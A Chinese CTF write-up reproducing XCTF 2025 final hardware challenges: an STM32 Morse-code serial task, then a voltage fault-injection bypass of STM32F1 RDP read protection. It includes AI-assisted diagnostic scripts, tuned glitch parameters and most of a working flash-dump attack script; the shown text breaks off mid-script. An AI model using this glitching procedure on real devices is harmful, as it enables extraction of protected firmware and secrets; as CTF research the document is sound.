碎碎念
拖了很久,终于开始着手对去年final的部分赛题进行复现及补齐工作,主要就是rw的两道硬件题和misc的一道0解题。
硬件题当时在比赛中其实已经完成了第一题,算是一个比较简单的签到题,即便我从来没有接触过STM32,也能通过现场搜集资料和工具来完成这道题目,而第二题则相对来说困难一些,存在两种解题思路(由官方github仓库所指出: https://github.com/xuanxuanblingbling/XCTF_2025_FINAL_RW_STM32 ),比赛中我主要集中尝试了故障注入的方法,尽管最后没有做出来(其实是当时有点点懒了,而且没想到可以通过卡比赛规则的方法将设备带回酒店继续打),但是赛后主办方为每一队申请过故障注入设备的队伍提供了一套完整的可用于后续复现的完整题目设备(十分感谢他们提供设备,也十分感谢xuanxuan师傅)
而misc的0解题,其一开始被非预期了,通过直接搜索flag头的base64编码可以在附件中找到flag的base64编码结果,所以后面也是紧急上线了该题的reverse版本,最终也是不负众望的以0解收场(根本不会逆向),而伴随着现今ai科技的飞速发展,我萌生出了利用claude code直接梭哈分析这题的想法,尝试为这道0解题画上一个不算完美的句号,至于结果,既然你能看到这篇文章,就说明cc它做到了)
截止本文章发出,我倒是没搜到别人有发这些题的wp,难道我真是第一个?)
RW
STM32_MorseCode
这题算是一道签到题,还是比较简单的,不过因为是第一次接触,当时在赛场捣鼓了很久,还看漏了一个设备导致卡了很久,最后试出来发现其实挺简单的
首先现场发放了一套硬件设备,里面分别有若干条杜邦线、一个STM32开发板、一个ST-Link调试器、一个USB to TTL转接器,一个逻辑分析仪、一条microusb转usb线
由于本人不是这方面的专家,遂只在此放出解题流程,相对应的原理不做过多阐述
首先在开发板上有一个microusb口,用microusb转usb线接入后,将usb头接入自己的电脑设备

随后用杜邦线分别连接开发板上的a9、a10以及G(GND)口,另一头则是相对应的去链接USB to TTL转接器上的TX、RX和GND口,随后再将其USB头接入电脑设备的另一个USB口中


在自己的电脑中配置好对应的串口驱动和开发板驱动,随后用串口连接工具获取开发板的信息
如果上述配置准确,连接串口后会接收到开发版发出的信息(波特率、数据位等参数默认即可,主要在于串口号别搞错)

他会要求我们通过触发PC13口,构造并传入XCTF的摩斯电码
我们只需要再拿一个杜邦线(需注意其中一头要是裸露的),随后将有插口的一头插入开发板的另一个G口中,然后用裸露的一头去触碰PC13口的,根据触碰的时间长短来构造摩斯码的.和-,
XCTF的摩斯码如下,分四次间隔来传入即可
1-..- -.-. - ..-.成功传入后开发板即会发送UID数据,将UID数据通过手机app的形式录入nfc卡即可


STM32_RDPbypass
首先十分感谢SU联队喵师傅对我的大力帮助,也很感谢xuanxuan师傅及纽创信安公司提供的设备支持
本来当初赛后就打算复现了,硬是拖了这么久,拖到现在ctf已经是全新的赛季全新的时代了,遂结合新时代技术,完成了本次题目的完整复现
根据final赛后晚宴上xuanxuan师傅的介绍,利用故障注入方法绕过RDP保护的具体思路可以参考这篇文章(赛中喵师傅也给我发了):
1https://yichen115.github.io/%E6%95%85%E9%9A%9C%E6%A1%88%E4%BE%8B/STM32F1x%20%E7%94%B5%E5%8E%8B%E6%95%85%E9%9A%9C%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%20RDP1%20%E5%9B%BA%E4%BB%B6%E8%AF%BB%E4%BF%9D%E6%8A%A4/#rdp遂我们这次的复现核心围绕的就是这篇文章
首先我们根据上一题中成功进行串口连接并获取到数据后得到的github仓库
1https://github.com/xuanxuanblingbling/XCTF_2025_FINAL_RW_STM32在仓库中详细介绍(好像也不是那么详细)了故障注入相关的信息以及需要用到的内容:


根据核心参考文章中的内容,我们需要利用powershorter对故障注入专用的开发板进行故障注入操作从而绕过RDP保护,而这就需要powershorter自己特有的库,因而我们需要下载仓库中给出的whl文件,而在脚本参考部分中还有一个名为faultviz的库,也是需要我们自行去gitee里下载whl文件然后安装的(不过这个库应该不是必须的,他主要是用来动态显示故障注入的结果,从而帮助我们快速调整参数)
1https://gitee.com/osr-tech/faultviz/releases/tag/v1.0.0
现在就可以正式开始复现
首先需要说一个避雷的点,如果直接按照文章的顺序逐步操作,不小心的话可能会导致将开发板中的flash数据被清空。我复现时按着顺序做,结果到这里因为手快已经点了apply,结果就把rdp关掉了,然后flash数据也没了,所以后续的复现是我自己重新录入的数据然后把rdp重新打开了(我以为这步有用呢没想到只是一个前情提要)

实际上我们需要做的只有最后一步,也就是故障注入绕过STM32
由于我不是硬件相关的专业人员,也没有接触过这方面的知识,所以更多是对文章的参考,以及利用现在强大的ai去帮助我完成的复现,所以这里主要讲述我的复现流程,不过多提及原理
首先需要按照文章中的这个线路图,对powershorter,串口小板(usb to ttl)以及stm32故障开发板进行正确的链接,大部分线路都是很显而易见的,唯独GND以及pa10接tx和tri这里我觉得有必要进行一点讲解

首先可以说的是图片是正确的,三者的gnd必须接到一块,而我手中都是1pin单口的杜邦线,最后的解决方案是,将串口小板的gnd口连接powershorter的gnd口,再将开发板的gnd口连接powershorter的gnd口(因为powershorter共有四个gnd口),这样就算是将三者的gnd接到了一块
而a10这里就比较麻烦,a10,tx以及e1-tri都各只有一个引脚,如果通过1pin杜邦线根本没办法将他们很好的连接起来(至少我做不到),我最后的解决办法是,先将a10的引脚和tx引脚通过双母头杜邦线相连,然后在a10的背面,还存在一个凸起的金属点,我再用另一条母头杜邦线将e1-tri口和这个金属点相接,最终形成这样的三口互联的情况(上面的红圈连的是tx,下面的红圈连的是e1-tri)

接线顺利完成后,即可进入最后的脚本攻击阶段
文章中给出的攻击脚本是没办法直接拿来用在我们的设备上的,需要进行调试,实际上这里应该还需要接入逻辑分析仪来观察故障注入的情况,但由于接线实在是太乱了我就没再接了,直接利用claude code进行辅助分析处理
最开始让它给我写了俩脚本来确认了我的接线是否正常:
diagnose.py
1"""
2STM32 故障注入 - 硬件接线诊断脚本
3用于排查 PowerShorter + STM32 接线是否正确
4
5检查项:
6 1. PowerShorter 设备连接
7 2. GPIO 供电控制(上电/断电)
8 3. UART 串口通信
9 4. Bootloader 同步(0x7F -> 0x79)
10 5. RDP 状态确认(0x11 -> 0x1F 表示 RDP 已开启)
11"""
12
13from power_shorter import *
14import time
15import serial
16import sys
17
18# ─────────────────────────────────────────────
19# 配置区:按你的实际环境修改
20# ─────────────────────────────────────────────
21PS_PORT = "com4" # PowerShorter 串口
22UART_PORT = "com5" # STM32 UART 串口(串口小板)
23UART_BAUD = 115200
24# ─────────────────────────────────────────────
25
26
27def banner(msg):
28 print(f"\n{'='*50}")
29 print(f" {msg}")
30 print(f"{'='*50}")
31
32
33def test_powershorter():
34 """测试1: PowerShorter 设备连接"""
35 banner("测试1: PowerShorter 设备连接")
36 try:
37 ps_dev = PowerShorter(PS_PORT)
38 print(f"[OK] PowerShorter 在 {PS_PORT} 连接成功")
39 return ps_dev
40 except Exception as e:
41 print(f"[FAIL] PowerShorter 连接失败: {e}")
42 print(f" -> 请检查:")
43 print(f" 1. PowerShorter 是否已连接电脑")
44 print(f" 2. 串口号 {PS_PORT} 是否正确(设备管理器查看)")
45 print(f" 3. 驱动是否已安装")
46 return None
47
48
49def test_gpio_power(ps_dev):
50 """测试2: GPIO 供电控制"""
51 banner("测试2: GPIO 供电控制")
52 try:
53 print("[*] 断电 (GPIO1 -> 0)...")
54 ps_dev.gpio(GPIO.GPIO1, 0)
55 time.sleep(0.5)
56 print("[OK] 断电指令已发送")
57
58 print("[*] 上电 (GPIO1 -> 1)...")
59 ps_dev.gpio(GPIO.GPIO1, 1)
60 time.sleep(0.5)
61 print("[OK] 上电指令已发送")
62
63 print()
64 print("[?] 请肉眼确认:")
65 print(" - STM32 板上 LED 是否在断电时熄灭、上电时亮起?")
66 print(" - 如果 LED 始终亮着 -> GPIO1 没有接到 STM32 的 VDD")
67 print(" - 如果 LED 始终灭 -> 可能接线断路或 GPIO 编号不对")
68 return True
69 except Exception as e:
70 print(f"[FAIL] GPIO 控制失败: {e}")
71 return False
72
73
74def test_uart():
75 """测试3: UART 串口连接"""
76 banner("测试3: UART 串口连接")
77 try:
78 uart = serial.Serial(
79 UART_PORT,
80 UART_BAUD,
81 parity=serial.PARITY_EVEN,
82 timeout=0.5
83 )
84 print(f"[OK] 串口 {UART_PORT} 打开成功 (115200, 偶校验)")
85 return uart
86 except Exception as e:
87 print(f"[FAIL] 串口打开失败: {e}")
88 print(f" -> 请检查:")
89 print(f" 1. 串口小板是否已连接电脑")
90 print(f" 2. 串口号 {UART_PORT} 是否正确")
91 print(f" 3. 串口是否被其他程序占用")
92 return None
93
94
95def test_bootloader_sync(ps_dev, uart):
96 """测试4: Bootloader 同步"""
97 banner("测试4: Bootloader 同步 (0x7F)")
98
99 # 先重新上电,确保干净状态
100 print("[*] 执行上电重置...")
101 ps_dev.gpio(GPIO.GPIO1, 0)
102 time.sleep(0.3)
103 ps_dev.gpio(GPIO.GPIO1, 1)
104 time.sleep(0.3)
105
106 uart.reset_input_buffer()
107 uart.reset_output_buffer()
108
109 print("[*] 发送同步字节 0x7F...")
110 uart.write(b'\x7f')
111 time.sleep(0.1)
112 resp = uart.read(uart.in_waiting or 1)
113 resp_hex = resp.hex() if resp else "(空)"
114
115 print(f"[*] 收到响应: {resp_hex} ({len(resp)} 字节)")
116
117 if resp == b'\x79':
118 print("[OK] Bootloader 同步成功! (ACK=0x79)")
119 print(" -> UART 接线正确, BOOT0=1 配置正确")
120 return True
121 elif resp == b'\x1f':
122 print("[WARN] 收到 NACK (0x1F)")
123 print(" -> Bootloader 有响应但拒绝了,可能需要先重启")
124 return True # 至少有通信
125 elif not resp:
126 print("[FAIL] 无响应!")
127 print(" -> 请检查:")
128 print(" 1. BOOT0 跳线帽是否接到 1")
129 print(" 2. BOOT1 跳线帽是否接到 0")
130 print(" 3. STM32 的 PA9(TX) 是否接到串口小板的 RX")
131 print(" 4. STM32 的 PA10(RX) 是否接到串口小板的 TX")
132 print(" 5. STM32 和串口小板的 GND 是否连接")
133 print(" 6. STM32 是否已上电(LED是否亮)")
134 return False
135 else:
136 print(f"[WARN] 收到意外响应: {resp_hex}")
137 print(" -> 有通信但响应异常,检查波特率/校验设置")
138 return False
139
140
141def test_rdp_status(ps_dev, uart):
142 """测试5: RDP 状态确认"""
143 banner("测试5: RDP 状态确认 (发送 0x11 Read Memory)")
144
145 # 重新上电+同步
146 ps_dev.gpio(GPIO.GPIO1, 0)
147 time.sleep(0.3)
148 ps_dev.gpio(GPIO.GPIO1, 1)
149 time.sleep(0.3)
150
151 uart.reset_input_buffer()
152 uart.write(b'\x7f')
153 sync_resp = uart.read(1)
154 sync_hex = sync_resp.hex() if sync_resp else "(空)"
155 print(f"[*] 同步响应: {sync_hex}")
156
157 if sync_resp != b'\x79':
158 print("[FAIL] 同步失败,无法继续测试 RDP 状态")
159 return None
160
161 # 发送 Read Memory 命令 (不注入故障)
162 print("[*] 发送 Read Memory 命令 (0x11 0xEE),不注入故障...")
163 uart.write(b'\x11\xee')
164 rdp_resp = uart.read(1)
165 rdp_hex = rdp_resp.hex() if rdp_resp else "(空)"
166 print(f"[*] Read Memory 响应: {rdp_hex}")
167
168 if rdp_resp == b'\x1f':
169 print("[OK] 收到 NACK (0x1F) -> RDP 已开启! 这是预期的")
170 print(" -> 需要故障注入才能绕过此保护")
171 return "RDP_ON"
172 elif rdp_resp == b'\x79':
173 print("[!] 收到 ACK (0x79) -> RDP 未开启!")
174 print(" -> 不需要故障注入,可以直接读取 Flash")
175 # 尝试直接读取
176 addr = (0x08000000).to_bytes(4, "big")
177 checksum = 0
178 for b in addr:
179 checksum ^= b
180 uart.write(addr + bytes([checksum]))
181 uart.read(1) # addr ack
182 uart.write(b'\xff\x00') # read 256 bytes
183 flash = uart.read(257)
184 if flash:
185 print(f" Flash 数据 (前32字节): {flash[:32].hex()}")
186 return "RDP_OFF"
187 elif not rdp_resp:
188 print("[FAIL] 无响应")
189 return None
190 else:
191 print(f"[WARN] 意外响应: {rdp_hex}")
192 return None
193
194
195def test_glitch_engine(ps_dev, uart):
196 """测试6: 毛刺引擎基本功能"""
197 banner("测试6: 毛刺引擎配置测试")
198 try:
199 ps_dev.engine_cfg(
200 Engine.E1,
201 [(0, 1000), (1, 20), (0, 1)],
202 TRIGGER_MODE.RISE,
203 1,
204 6
205 )
206 print("[OK] engine_cfg 配置成功")
207
208 ps_dev.arm(Engine.E1)
209 print("[OK] arm() 调用成功")
210
211 print("[*] 毛刺引擎工作正常")
212 return True
213 except Exception as e:
214 print(f"[FAIL] 毛刺引擎错误: {e}")
215 return False
216
217
218def main():
219 print("=" * 50)
220 print(" STM32 故障注入 - 硬件诊断工具")
221 print("=" * 50)
222 print(f" PowerShorter: {PS_PORT}")
223 print(f" UART: {UART_PORT} @ {UART_BAUD}")
224 print()
225
226 results = {}
227
228 # 测试1: PowerShorter
229 ps_dev = test_powershorter()
230 results["PowerShorter连接"] = ps_dev is not None
231 if not ps_dev:
232 print("\n[!] PowerShorter 连接失败,无法继续后续测试")
233 print_summary(results)
234 return
235
236 # 测试2: GPIO
237 results["GPIO供电控制"] = test_gpio_power(ps_dev)
238
239 # 测试3: UART
240 uart = test_uart()
241 results["UART串口"] = uart is not None
242 if not uart:
243 print("\n[!] UART 打开失败,无法继续后续测试")
244 print_summary(results)
245 return
246
247 # 测试4: Bootloader sync
248 results["Bootloader同步"] = test_bootloader_sync(ps_dev, uart)
249
250 # 测试5: RDP status
251 rdp = test_rdp_status(ps_dev, uart)
252 results["RDP状态"] = rdp
253
254 # 测试6: Glitch engine
255 results["毛刺引擎"] = test_glitch_engine(ps_dev, uart)
256
257 # 汇总
258 print_summary(results)
259
260 uart.close()
261
262
263def print_summary(results):
264 banner("诊断汇总")
265 all_ok = True
266 for name, status in results.items():
267 if status is True or status in ("RDP_ON", "RDP_OFF"):
268 icon = "[PASS]"
269 elif status is False or status is None:
270 icon = "[FAIL]"
271 all_ok = False
272 else:
273 icon = "[????]"
274 print(f" {icon} {name}: {status}")
275
276 print()
277 if all_ok:
278 print("[*] 硬件接线正常! 问题大概率出在攻击脚本参数上")
279 print(" -> 请运行修复后的攻击脚本 attack_fixed.py")
280 else:
281 print("[!] 存在硬件/接线问题,请先修复后再尝试攻击")
282 print()
283 print("接线参考:")
284 print(" 串口小板 STM32")
285 print(" -------- ------")
286 print(" 3V3 --> (不接! 用 PowerShorter 供电)")
287 print(" GND --> GND")
288 print(" TXD --> PA10 (RX)")
289 print(" RXD --> PA9 (TX)")
290 print()
291 print(" PowerShorter STM32")
292 print(" ------------ ------")
293 print(" GPIO1 OUT --> 3.3V / VDD")
294 print(" GLITCH OUT --> VDD (同一个供电点)")
295 print(" GND --> GND")
296 print()
297 print(" STM32 跳线帽:")
298 print(" BOOT0 = 1")
299 print(" BOOT1 = 0")
300 print()
301 print(" 注意: 必须去除 STM32 开发板 VDD 附近的去耦电容!")
302
303
304if __name__ == "__main__":
305 main()diagnose_trigger.py
1"""
2STM32 故障注入 - 触发/毛刺输出 精确诊断
3
4诊断核心问题: 500次攻击全是 NACK, 零次无响应/异常
5→ 毛刺可能根本没有触发
6
7检查项:
8 1. arm() 后发送 UART 数据,检查引擎是否被触发 (armed → glitched)
9 2. soft_trigger() 软件强制触发,检查毛刺输出是否影响 MCU
10 3. 如果硬件触发失败但软触发成功 → 说明 Trigger 引脚没有接到 UART TX 线
11"""
12
13from power_shorter import *
14import time
15import serial
16
17PS_PORT = "com4"
18UART_PORT = "com5"
19UART_BAUD = 115200
20
21
22def banner(msg):
23 print(f"\n{'='*60}", flush=True)
24 print(f" {msg}", flush=True)
25 print(f"{'='*60}", flush=True)
26
27
28def main():
29 print("PowerShorter + STM32 触发诊断", flush=True)
30 print("=" * 60, flush=True)
31
32 ps_dev = PowerShorter(PS_PORT)
33 uart = serial.Serial(UART_PORT, UART_BAUD, parity=serial.PARITY_EVEN, timeout=0.5)
34
35 # ──────────────────────────────────────────────
36 # 测试 A: 硬件触发是否工作
37 # ──────────────────────────────────────────────
38 banner("测试 A: 硬件触发 (arm -> UART -> check state)")
39
40 # 上电
41 ps_dev.gpio(GPIO.GPIO1, 0)
42 time.sleep(0.3)
43 ps_dev.gpio(GPIO.GPIO1, 1)
44 time.sleep(0.3)
45
46 # 同步
47 uart.reset_input_buffer()
48 uart.write(b'\x7f')
49 sync = uart.read(1)
50 print(f" 同步: {sync.hex() if sync else '无响应'}", flush=True)
51
52 # 配置引擎 (用较安全的参数: 长延迟,短脉冲)
53 ps_dev.engine_cfg(
54 Engine.E1,
55 [(0, 1000), (1, 20), (0, 1)],
56 TRIGGER_MODE.RISE,
57 1,
58 6
59 )
60
61 # 检查 arm 前的状态
62 try:
63 state_before = ps_dev.state(Engine.E1)
64 print(f" arm前状态: {state_before}", flush=True)
65 except Exception as e:
66 print(f" arm前状态查询异常: {e}", flush=True)
67
68 # arm
69 ps_dev.arm(Engine.E1)
70 print(" 已 arm()", flush=True)
71
72 # 检查 arm 后的状态 (应该是 "armed")
73 try:
74 state_armed = ps_dev.state(Engine.E1)
75 print(f" arm后状态: {state_armed}", flush=True)
76 except Exception as e:
77 print(f" arm后状态查询异常: {e}", flush=True)
78
79 # 发送 0x11 0xEE (产生 6 个上升沿)
80 uart.write(b'\x11\xee')
81 res = uart.read(1)
82 print(f" 0x11 响应: {res.hex() if res else '无'}", flush=True)
83
84 # 等一小段时间让毛刺完成
85 time.sleep(0.1)
86
87 # 检查触发后的状态 (应该是 "glitched")
88 try:
89 state_after = ps_dev.state(Engine.E1)
90 print(f" 发送后状态: {state_after}", flush=True)
91 except Exception as e:
92 print(f" 发送后状态查询异常: {e}", flush=True)
93 state_after = "error"
94
95 if state_after == "glitched":
96 print("\n [OK] 硬件触发正常! 引擎成功被 UART 上升沿触发", flush=True)
97 print(" → 毛刺已经打出,但参数可能需要调整", flush=True)
98 elif state_after == "armed":
99 print("\n [FAIL] 硬件触发失败! 引擎仍处于 armed 状态", flush=True)
100 print(" → 引擎没有检测到上升沿!", flush=True)
101 print(" → 原因: PowerShorter 的 TRIGGER 输入引脚", flush=True)
102 print(" 没有连接到 UART TX 信号线!", flush=True)
103 print("", flush=True)
104 print(" 修复方法:", flush=True)
105 print(" 将 PowerShorter 的 TRIGGER IN 引脚", flush=True)
106 print(" 连接到串口小板的 TX 线 (即 STM32 PA10/RX 方向的信号线)", flush=True)
107 else:
108 print(f"\n [?] 状态异常: {state_after}", flush=True)
109
110 # ──────────────────────────────────────────────
111 # 测试 B: 软件触发 (验证毛刺输出通道是否接好)
112 # ──────────────────────────────────────────────
113 banner("测试 B: 软件触发 (soft_trigger)")
114
115 # 重新上电
116 ps_dev.gpio(GPIO.GPIO1, 0)
117 time.sleep(0.3)
118 ps_dev.gpio(GPIO.GPIO1, 1)
119 time.sleep(0.3)
120
121 # 同步
122 uart.reset_input_buffer()
123 uart.write(b'\x7f')
124 sync2 = uart.read(1)
125 print(f" 同步: {sync2.hex() if sync2 else '无响应'}", flush=True)
126
127 if sync2 != b'\x79':
128 print(" [FAIL] 同步失败,跳过软触发测试", flush=True)
129 uart.close()
130 return
131
132 # 配置较强的毛刺 (长脉冲)
133 ps_dev.engine_cfg(
134 Engine.E1,
135 [(0, 100), (1, 50), (0, 1)], # 短延迟 1μs, 脉冲 500ns
136 TRIGGER_MODE.RISE,
137 1,
138 1 # 单个边沿即触发 (但我们用 soft_trigger 所以无所谓)
139 )
140
141 ps_dev.arm(Engine.E1)
142 print(" 已 arm()", flush=True)
143
144 # 软件触发!
145 ps_dev.soft_trigger(Engine.E1)
146 print(" 已 soft_trigger()!", flush=True)
147 time.sleep(0.05)
148
149 try:
150 state_soft = ps_dev.state(Engine.E1)
151 print(f" 软触发后状态: {state_soft}", flush=True)
152 except Exception as e:
153 print(f" 状态查询异常: {e}", flush=True)
154 state_soft = "error"
155
156 # 发送 0x11 看看 MCU 是否还活着
157 uart.reset_input_buffer()
158 uart.write(b'\x11\xee')
159 res2 = uart.read(1)
160 print(f" 0x11 响应: {res2.hex() if res2 else '无响应'}", flush=True)
161
162 if not res2:
163 print("\n [INFO] 软触发后 MCU 无响应 → 毛刺输出有效!", flush=True)
164 print(" → GLITCH 输出已连接到 VDD,且能影响 MCU", flush=True)
165 print(" → 问题仅在于硬件触发引脚没接", flush=True)
166 elif res2 == b'\x1f':
167 print("\n [INFO] 软触发后 MCU 正常 NACK → 毛刺可能没打到位", flush=True)
168 print(" → 检查 GLITCH 输出是否接到 STM32 VDD", flush=True)
169 print(" → 检查 VDD 附近的去耦电容是否已去除", flush=True)
170 elif res2 == b'\x79':
171 print("\n [!!!] 软触发绕过了 RDP!!! → 毛刺参数有效!", flush=True)
172
173 # ──────────────────────────────────────────────
174 # 测试 C: 用软触发 + 精确时序尝试攻击
175 # ──────────────────────────────────────────────
176 banner("测试 C: 软触发快速攻击 (10次)")
177
178 success = False
179 for i in range(10):
180 ps_dev.gpio(GPIO.GPIO1, 0)
181 time.sleep(0.3)
182 ps_dev.gpio(GPIO.GPIO1, 1)
183 time.sleep(0.3)
184
185 uart.reset_input_buffer()
186 uart.write(b'\x7f')
187 s = uart.read(1)
188 if s != b'\x79':
189 print(f" [{i+1}] 同步失败", flush=True)
190 continue
191
192 delay = 1000
193 pulse = 20
194
195 ps_dev.engine_cfg(
196 Engine.E1,
197 [(0, delay), (1, pulse), (0, 1)],
198 TRIGGER_MODE.RISE,
199 1,
200 1
201 )
202
203 ps_dev.arm(Engine.E1)
204
205 # 发送 read memory 命令
206 uart.write(b'\x11\xee')
207
208 # 紧接着软触发! (模拟硬件触发)
209 ps_dev.soft_trigger(Engine.E1)
210
211 res = uart.read(1)
212 res_hex = res.hex() if res else "无"
213 print(f" [{i+1}] d={delay} p={pulse} -> {res_hex}", flush=True)
214
215 if res == b'\x79':
216 print(f"\n [!!!] 软触发成功绕过 RDP!!!", flush=True)
217 success = True
218 break
219
220 # ──────────────────────────────────────────────
221 # 总结
222 # ──────────────────────────────────────────────
223 banner("诊断总结")
224 print(" 硬件触发状态测试:", flush=True)
225 if state_after == "glitched":
226 print(" [OK] Trigger 引脚已连接,硬件触发正常", flush=True)
227 else:
228 print(" [FAIL] Trigger 引脚未连接!", flush=True)
229 print("", flush=True)
230 print(" ┌─────────────────────────────────────────────┐", flush=True)
231 print(" │ 接线修复: │", flush=True)
232 print(" │ │", flush=True)
233 print(" │ PowerShorter TRIGGER IN ──→ 串口小板 TX │", flush=True)
234 print(" │ (检测 UART 上升沿) (发往 PA10) │", flush=True)
235 print(" │ │", flush=True)
236 print(" │ 即: 把串口小板发送到 STM32 的那根 TX 线 │", flush=True)
237 print(" │ 也分一根出来接到 PowerShorter 的 Trigger │", flush=True)
238 print(" └─────────────────────────────────────────────┘", flush=True)
239
240 uart.close()
241
242
243if __name__ == "__main__":
244 main()如果两个脚本运行后都输出正常,那么理论上就可以进入攻击阶段
这边由于我本人也不太懂具体的操作,所以让claude code直接代理分析,并进行脚本优化,经过12+版本的调试,最终得到了稳定的攻击成功脚本
这里放上一部分claude code写的原理及探索过程
攻击原理
电压故障注入 (VFI):在 CPU 执行 RDP 检查代码期间,通过短暂拉低 VDD 电压(制造约 100ns 的电压跌落),使得 CPU 可能:
- 跳过条件判断(NOP slide 效应)
- 错误地将 RDP 状态判断为未启用
- 直接执行"读取许可"路径
触发时机: PowerShorter 监听 TX 引脚(TRIGGER),当检测到 UART 上升沿时,等待 delay × 10ns,然后输出 pulse × 10ns 宽度的毛刺。命令 0x11 0xEE 在 TX 引脚会产生 6 个上升沿,配置 edges=6 让毛刺在最后一个上升沿后触发(此时 bootloader 正在处理命令并执行 RDP 检查)。
解题过程
Phase 1: 探索与参数摸索 (v2-v6)
初始参数范围较广(delay 200-1500, pulse 5-20),用于探索响应分布:
| 响应类型 | 含义 | 比例 |
|---|---|---|
| 0x1F (NACK) | RDP 检查通过,正常拒绝 | ~50% |
| 0xFE/0xFF/0xFC 等 | UART 传输被毛刺干扰 | ~35% |
| 无响应 | MCU 崩溃 | ~5% |
| 0x79 (ACK) | 疑似绕过 | <1% |
v5 首次出现 0x79:d=898 p=10,但后续 addr_ack 返回 0x0B(损坏),只读到 16 字节非 Flash 数据。
Phase 2: 识别假阳性 (v7-v9)
关键发现: 0x1F(00011111)被毛刺损坏后可能变成 0x79(01111001)——两者差 4 bit,在电压不稳时完全可能发生位翻转。
真正的 RDP 绕过必须同时满足:
cmd_ack == 0x79(命令 ACK)addr_ack == 0x79(地址 ACK)
之前看到的 “0x79” 都是假阳性(被毛刺损坏的 NACK),addr_ack 仍然是 0x1F,RDP 并未被绕过。
Phase 3: 系统性扫描 + 盲发地址策略 (v10-v11)
盲发地址技巧: 无论 cmd 响应是什么(0x79 / 0x1F / 异常字节),都立即发送地址,检查 addr_ack 是否为 0x79。
理由:
- 毛刺可能使 MCU 绕过 RDP,但同时损坏了 cmd 响应的 UART 传输
- 即使 cmd 响应看起来不对,MCU 内部可能已经处于"允许读取"状态
- 盲发地址没有额外成本,最多浪费 1 次读操作
v11 进行系统性扫描(delay 100-2000 步进 10,每步 3 次),同时启用盲发地址。
Phase 4: 精准攻击 + 成功 (attack_final / attack_final2)
基于 v11 找到的有效区间,精确到:
- delay: 950-1250(对应 9.5μs - 12.5μs)
- pulse: 10-14(对应 100ns - 140ns)
增加验证逻辑:size_ack == 0x79 且数据长度 ≥ 32 字节且非全 0xFF/0x00,才算真正成功。
第 131 次尝试成功(历时 52.7 秒):
1delay=1067 (10.67μs), pulse=10 (100ns)
2cmd → anomaly(0xFE) → 盲发地址 → addr_ack=0x79 → size_ack=0x79 → 读到 256 字节最终的攻击脚本如下,需要说明的是,故障注入本身就是一种碰运气的打法(就是概率成功)所以每次运行的时间都不能绝对的保证,有时候可能一下就打对了,有时候可能要打上几百轮
1"""
2STM32 VFI - Final v2
3
4v11 成功: d=1106 p=14, 完整 256 字节 XCTF flag
5final v1 问题: pulse 15-18 crash MCU(no_resp 50%), 假阳性(addr=0x79 但后续失败)
6
7优化:
8 1. pulse 收窄 10-14 (去掉 15-18 的 crash 区)
9 2. 验证: size_ack=0x79 且 data>=256 字节才算真正成功
10 3. 假阳性时不停, 继续攻击
11 4. bypass 后尝试不带毛刺的重读
12"""
13
14from power_shorter import *
15import time
16import serial
17import random
18
19PS_PORT = "com4"
20UART_PORT = "com5"
21UART_BAUD = 115200
22
23FLASH_BASE = 0x08000000
24BLOCK_SIZE = 0xFF
25
26# 精准参数 (d=1106 p=14 附近)
27DELAY_MIN = 950
28DELAY_MAX = 1250
29PULSE_MIN = 10
30PULSE_MAX = 14
31
32POWER_OFF_T = 0.15
33BOOT_T = 0.20
34
35MAX_ATTEMPTS = 10000
36
37LOG_FILE = None
38
39def log(msg):
40 print(msg, flush=True)
41 if LOG_FILE:
42 LOG_FILE.write(msg + "\n")
43 LOG_FILE.flush()
44
45
46def gen_addr(addr: int) -> bytes:
47 b = addr.to_bytes(4, "big")
48 return b + bytes([b[0] ^ b[1] ^ b[2] ^ b[3]])
49
50
51def show_hexdump(data, base_addr):
52 for off in range(0, len(data), 16):
53 chunk = data[off:off+16]
54 hexpart = ' '.join(f'{b:02x}' for b in chunk)
55 ascpart = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk)
56 log(f" 0x{base_addr+off:08X}: {hexpart:<48s} |{ascpart}|")
57
58
59def try_read_full(s, tag=""):
60 """
61 在 addr_ack=0x79 之后完成 flash 读取
62 返回 (data_bytes, success_bool)
63 """
64 # 发 size
65 s.write(bytes([BLOCK_SIZE, BLOCK_SIZE ^ 0xFF]))
66 size_ack = s.read(1)
67
68 if size_ack != b'\x79':
69 log(f" {tag} size ACK: 0x{size_ack.hex() if size_ack else 'none'} [fail]")
70 return None, False
71
72 log(f" {tag} size ACK: 0x79 [OK]")
73
74 # 读数据
75 old_t = s.timeout
76 s.timeout = 2.0
77 data = s.read(BLOCK_SIZE + 1) # 256 bytes
78 s.timeout = old_t
79
80 if not data or len(data) < 32:
81 log(f" {tag} data: only {len(data) if data else 0} bytes [fail]")
82 return data, False
83
84 # 检查数据质量: 不能全 0x00 或全 0xFF
85 unique = set(data)
86 if len(unique) <= 2 and (unique <= {0x00, 0xFF}):
87 log(f" {tag} data: {len(data)} bytes but all zeros/ff [suspicious]")
88 return data, False
89
90 return data, True
91
92
93def main():
94 global LOG_FILE
95 LOG_FILE = open("attack_final2_log.txt", "w", encoding="utf-8")
96
97 log("=" * 60)
98 log(" STM32 VFI - Final v2 (Precision)")
99 log("=" * 60)
100 log(f" Target: 0x{FLASH_BASE:08X}")
101 log(f" Delay: {DELAY_MIN}-{DELAY_MAX}")
102 log(f" Pulse: {PULSE_MIN}-{PULSE_MAX}")
103 log(f" Max: {MAX_ATTEMPTS}")
104 log("")
105
106 ps_dev = PowerShorter(PS_PORT)
107 s = serial.Serial(UART_PORT, UART_BAUD, parity=serial.PARITY_EVEN, timeout=0.5)
108
109 cnt = {"nack": 0, "anom": 0, "nr": 0, "sf": 0, "bypass": 0, "full": 0}
110 start = time.time()
111
112 for i in range(1, MAX_ATTEMPTS + 1):
113 delay = random.randint(DELAY_MIN, DELAY_MAX)
114 pulse = random.randint(PULSE_MIN, PULSE_MAX)
115
116 # 断电重启
117 ps_dev.gpio(GPIO.GPIO1, 0)
118 time.sleep(POWER_OFF_T)
119 ps_dev.gpio(GPIO.GPIO1, 1)
120 time.sleep(BOOT_T)
121
122 # 配置引擎
123 ps_dev.engine_cfg(
124 Engine.E1,
125 [(0, delay), (1, pulse), (0, 1)],
126 TRIGGER_MODE.RISE, 1, 6
127 )
128
129 # 同步
130 s.reset_input_buffer()
131 s.write(b'\x7f')
132 sync = s.read(1)
133 if sync != b'\x79':
134 cnt["sf"] += 1
135 continue
136
137 # arm → 发命令 (触发毛刺)
138 ps_dev.arm(Engine.E1)
139 s.write(b'\x11\xee')
140 cmd = s.read(1)
141
142 if not cmd:
143 cnt["nr"] += 1
144 tag = "nr"
